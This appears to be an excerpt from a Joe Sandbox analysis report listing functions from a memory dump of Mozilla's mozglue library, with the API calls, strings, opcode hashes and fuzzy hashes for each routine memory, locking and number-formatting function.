API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 6a3d1ae5d10353b0010b0021fc0559223e60abc01d9a80f20d989caed6e02e59
Instruction ID: e7802144691cfa94841e5dee71cad2a04a894be4e702d1047ca8388d7b0fcb8e
Opcode Fuzzy Hash: 6a3d1ae5d10353b0010b0021fc0559223e60abc01d9a80f20d989caed6e02e59
Instruction Fuzzy Hash: 5241C171904B469BD300DF29C48056AFBF4FFAA254F204A2DE4A987741DB30E559CB92

Function 6C9B6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9B82BC,?,?), ref: 6C9B649B

Part of subcall function 6C98CA10: malloc.MOZGLUE(?), ref: 6C98CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B64A9

Part of subcall function 6C9AFA80: GetCurrentThreadId.KERNEL32 ref: 6C9AFA8D
Part of subcall function 6C9AFA80: AcquireSRWLockExclusive.KERNEL32(6C9FF448), ref: 6C9AFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B653F
free.MOZGLUE(?), ref: 6C9B655A

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 918f7609503181ee6cd6e4662ffb1f86f5bf362fa792a595e5e18de6dcac8d15
Instruction ID: 67ad384c2f63cfd14f4216b578e6e312960a4ee7fc91be9312a5a075e9c25911
Opcode Fuzzy Hash: 918f7609503181ee6cd6e4662ffb1f86f5bf362fa792a595e5e18de6dcac8d15
Instruction Fuzzy Hash: CF3161B5A04705AFD704CF14D88469FBBF4BF99314F10442EE85A97741DB70E919CB92

Function 6C9AFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C9CD019,?,?,?,?,?,00000000,?,6C9BDA31,00100000,?), ref: 6C9AFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C9CD019,?,?,?,?,?,00000000,?,6C9BDA31,00100000,?,?), ref: 6C9AFFF5
free.MOZGLUE(?,?,?,?,?,6C9CD019,?,?,?,?,?,00000000,?,6C9BDA31,00100000,?), ref: 6C9B001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C9CD019,?,?,?,?,?,00000000,?,6C9BDA31,00100000,?,?), ref: 6C9B002A

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 0d5debca1564e274e2dfb21e8d15a0922c32165763b63fa465a8cd01aa5d060f
Instruction ID: 4eabde87bbe5c0cc1fc3788f57ee5dd662648e1cb3c46d878ffee782585b639f
Opcode Fuzzy Hash: 0d5debca1564e274e2dfb21e8d15a0922c32165763b63fa465a8cd01aa5d060f
Instruction Fuzzy Hash: AE21DBB2A001155BD7089EB8DC9446FB7BAFB993247250738D525D7780E670DD1187D1

Function 6C98B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C98B4F5
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C98B502
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C98B542
free.MOZGLUE(?), ref: 6C98B578

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: dabcc6d131e9e6395a879ea80f1ed3734b8a21caaab5aab3b81288d8580b7629
Instruction ID: 426cf5cef55b39acdd42dd5347c03da8908861d187236eaca40d4bca57b30a55
Opcode Fuzzy Hash: dabcc6d131e9e6395a879ea80f1ed3734b8a21caaab5aab3b81288d8580b7629
Instruction Fuzzy Hash: 7B11AF31A08B45C7D7118F29D804766B3B5FFAA319F289B0EE89953E01EBB1E5C5C790

Function 6C9B3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C97F20E,?), ref: 6C9B3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C97F20E,00000000,?), ref: 6C9B3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C9B3E0E

Part of subcall function 6C9ACC00: GetCurrentProcess.KERNEL32(?,?,6C9731A7), ref: 6C9ACC0D
Part of subcall function 6C9ACC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9731A7), ref: 6C9ACC16

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: dfeec6cdfb942057770334122e8dde7531b2e19a3730b4f7a66ad733e34bd918
Instruction ID: 4e114a230377c18aa089f64b61f0c168455963ad95dcf762367a2af5c007269d
Opcode Fuzzy Hash: dfeec6cdfb942057770334122e8dde7531b2e19a3730b4f7a66ad733e34bd918
Instruction Fuzzy Hash: 7CF082B15002087BDB00AB54EC81DAB377CEF56628F140020FD1917740D635FE2586F7

Function 6C9C20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9C20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C9AFBD1), ref: 6C9C20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C9AFBD1), ref: 6C9C20DA
free.MOZGLUE(00000000,?,6C9AFBD1), ref: 6C9C20F1

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 5b611ebc793c1a6f496f24fa690f50d5800c4ed18231f8520aa826244da72d63
Instruction ID: a23d99e90184b2cabae6b20a75088ae631c913ba970b2f9eb8e740cc6f150905
Opcode Fuzzy Hash: 5b611ebc793c1a6f496f24fa690f50d5800c4ed18231f8520aa826244da72d63
Instruction Fuzzy Hash: 11E0E531704A149BC3209F25A80854EB7F9EF96215B24022BE54A83B00DB76E94687D7

Function 6C9C85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9C85D3

Part of subcall function 6C98CA10: malloc.MOZGLUE(?), ref: 6C98CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C9C8725

Strings

map/set<T> too long, xrefs: 6C9C8720

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 05d40cb6fec76d83108f0ed39942a52dc2d2b3430087c35b1b757bf1a28c273b
Instruction ID: f4843c64989f5d5e909302d3e11f6ec5ef6ce76dab0ba23351473d26afaaa32f
Opcode Fuzzy Hash: 05d40cb6fec76d83108f0ed39942a52dc2d2b3430087c35b1b757bf1a28c273b
Instruction Fuzzy Hash: F45166B4600645CFD705CF28C284A56BBF1BF5A318F19C28AD8595BB52C335E885CF97

Function 6C97BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C97BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C97BE8F

Strings

0, xrefs: 6C97BE5B

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: a227c529280da47cb33336b54fd9c8b86f7c60d5bcd99dcad23fbbb346d5487f
Instruction ID: 806aaa79a4b99f126a9556b7d28e9613cb5a527bde1aaf37b060641bb554ac82
Opcode Fuzzy Hash: a227c529280da47cb33336b54fd9c8b86f7c60d5bcd99dcad23fbbb346d5487f
Instruction Fuzzy Hash: 3441AF7190A745CFC761CF28C481A9BB7F4AF9A348F008A1DF985A7711E730D9498BA2

Function 6C9B3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9B3D19
mozalloc_abort.MOZGLUE(?), ref: 6C9B3D6C

Strings

d, xrefs: 6C9B3D58

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: bdcdf4a654b886c5c9a61a944ebb7bfde1955628057c2ebd5ee2bd81b0f10ddf
Instruction ID: a2271f83391c3805bb7cba2ae0bf878566e68d6c6936135fafd217a90764d6d8
Opcode Fuzzy Hash: bdcdf4a654b886c5c9a61a944ebb7bfde1955628057c2ebd5ee2bd81b0f10ddf
Instruction Fuzzy Hash: 2111B236E08688E7DB00DB69CC144AEB775FFEA218B459219D859AB702EF30E584C390

Function 6C984730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9844B2,6C9FE21C,6C9FF7F8), ref: 6C98473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C98474A

Strings

GetNtLoaderAPI, xrefs: 6C984744

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: bd9162e444ce9ec8457ca741976fd7fd9445895899494c9adc16e5e8e999ea6c
Instruction ID: dd6de7d4ea9d7d43c49b9891315453e1f22e5c4a0c81386a53be2baa6331c324
Opcode Fuzzy Hash: bd9162e444ce9ec8457ca741976fd7fd9445895899494c9adc16e5e8e999ea6c
Instruction Fuzzy Hash: 4B01CC753053488FCF049F66D8946197BFDEF8B728B144469E91AC7300DB34D8028F91

Function 6C9D6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C9D6E22
__Init_thread_footer.LIBCMT ref: 6C9D6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C9D6E1D

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 6452dd18ab6e82a6ee480d12290490ec7053b49ca780474b3001a6ea8eccb965
Instruction ID: e259f07353e5044d3d3bb14c73956ab4c572034c519b522b6abe50d176c04477
Opcode Fuzzy Hash: 6452dd18ab6e82a6ee480d12290490ec7053b49ca780474b3001a6ea8eccb965
Instruction Fuzzy Hash: 52F02471208649CBDB008BA8E990A8933B1536321CF254565C42487B51CF21F52BCBA3

Function 6C989E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C989EEF

Strings

Infinity, xrefs: 6C989EB7
NaN, xrefs: 6C989EC1

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: f0ae55f1e77cd2cdc95b48aeeeda94225ecf447ddf6c67d87bb1d0917dd0ee33
Instruction ID: 86e2e7edf9bc7559f163c5b9e04e4ff582458ad15a4fdea54f40796426b1fd5c
Opcode Fuzzy Hash: f0ae55f1e77cd2cdc95b48aeeeda94225ecf447ddf6c67d87bb1d0917dd0ee33
Instruction Fuzzy Hash: 6CF087B1609241CBEB008B58F889B8437F1B76731CF300A19C5284BB41D776E54ACBB2

Function 6C98BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C98BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C98BEF5

Strings

cryptbase.dll, xrefs: 6C98BEF0

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: c6f69c0f2569bfe04499d8366677adf3adb03097d40390b34d26ee7c1c1f2f16
Instruction ID: 498ec1aacb8386a8c969504c2b8b84dde47216710bd2999bc32db8f1e449b6a9
Opcode Fuzzy Hash: c6f69c0f2569bfe04499d8366677adf3adb03097d40390b34d26ee7c1c1f2f16
Instruction Fuzzy Hash: CCD0C731185108EADB406E549D09B1937789701715F24C421F77555952C7B1D455CFD4

Function 6C9750E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C974E9C,?,?,?,?,?), ref: 6C97510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C974E9C,?,?,?,?,?), ref: 6C975167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C975196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C974E9C), ref: 6C975234

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 1ccf6cea32c0598dc5a9324288fec6ae775da1a9b11d4efa76f40447f1e9eaec
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: A791C235606656CFCB25CF08C490A56BBA5FF99318B29858CDC589BB15D332FD42CBE0

Function 6C9B08F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9FE7DC), ref: 6C9B0918
LeaveCriticalSection.KERNEL32(6C9FE7DC), ref: 6C9B09A6
EnterCriticalSection.KERNEL32(6C9FE7DC,?,00000000), ref: 6C9B09F3
LeaveCriticalSection.KERNEL32(6C9FE7DC), ref: 6C9B0ACB

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 651faaeee23367de11f16d647aa0e1a3e46fe97ba85ec44c7b001723a2576881
Instruction ID: 3e583b2b059ab4aa75faafc79bc49b248153375f99519276fcd2745f1c236e13
Opcode Fuzzy Hash: 651faaeee23367de11f16d647aa0e1a3e46fe97ba85ec44c7b001723a2576881
Instruction Fuzzy Hash: 88516872B05654DBEB189A55D54462B33B5EB82F28734453AD975A7F80DB31E802C7C0

Function 6C9CB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C9CB2C9,?,?,?,6C9CB127,?,?,?,?,?,?,?,?,?,6C9CAE52), ref: 6C9CB628

Part of subcall function 6C9C90E0: free.MOZGLUE(?,00000000,?,?,6C9CDEDB), ref: 6C9C90FF
Part of subcall function 6C9C90E0: free.MOZGLUE(?,00000000,?,?,6C9CDEDB), ref: 6C9C9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9CB2C9,?,?,?,6C9CB127,?,?,?,?,?,?,?,?,?,6C9CAE52), ref: 6C9CB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9CB2C9,?,?,?,6C9CB127,?,?,?,?,?,?,?,?,?,6C9CAE52), ref: 6C9CB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C9CB127,?,?,?,?,?,?,?,?), ref: 6C9CB74D

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: a99cba624aa23e11421a594b2c25a6d6af553322001ab2a11b49aa6651d054e4
Instruction ID: e1a7bd45cb35c8c384f8b03b673c68abc028545a2cc2c2c74ac2e0334a486755
Opcode Fuzzy Hash: a99cba624aa23e11421a594b2c25a6d6af553322001ab2a11b49aa6651d054e4
Instruction Fuzzy Hash: 6251DAB1B05216CBDB14CF18CA8076EB7B9FF84715F158529C85AABB00DB30E814CBA3

Function 6C9CDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C9BFF2A), ref: 6C9CDFFD

Part of subcall function 6C9C90E0: free.MOZGLUE(?,00000000,?,?,6C9CDEDB), ref: 6C9C90FF
Part of subcall function 6C9C90E0: free.MOZGLUE(?,00000000,?,?,6C9CDEDB), ref: 6C9C9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9BFF2A), ref: 6C9CE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9BFF2A), ref: 6C9CE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C9BFF2A), ref: 6C9CE0FE

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ad0546b67748b2f61b28cab98bca72be9fc52d5ceae4ecf9cca9001437073845
Instruction ID: 5d3c62f219da3e13a5b39282193d94e37098a64e6bb28662cb9929faa4c1de76
Opcode Fuzzy Hash: ad0546b67748b2f61b28cab98bca72be9fc52d5ceae4ecf9cca9001437073845
Instruction Fuzzy Hash: 4041BEB1708206CBEB14CF68D88236A73B6AB45308F244929D517DBB40E732E915CBD3

Function 6C9C6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C9C6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C9C6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9C6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9C6F5C

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 4acd7eb86d04b0481b3590289e086b66c55b1ed2a68b38032fbb57b56ddb6d8e
Instruction ID: bfc625a321d9ef0d36c7b6b41c2535cd6ee0341e16042010870e875b889a601d
Opcode Fuzzy Hash: 4acd7eb86d04b0481b3590289e086b66c55b1ed2a68b38032fbb57b56ddb6d8e
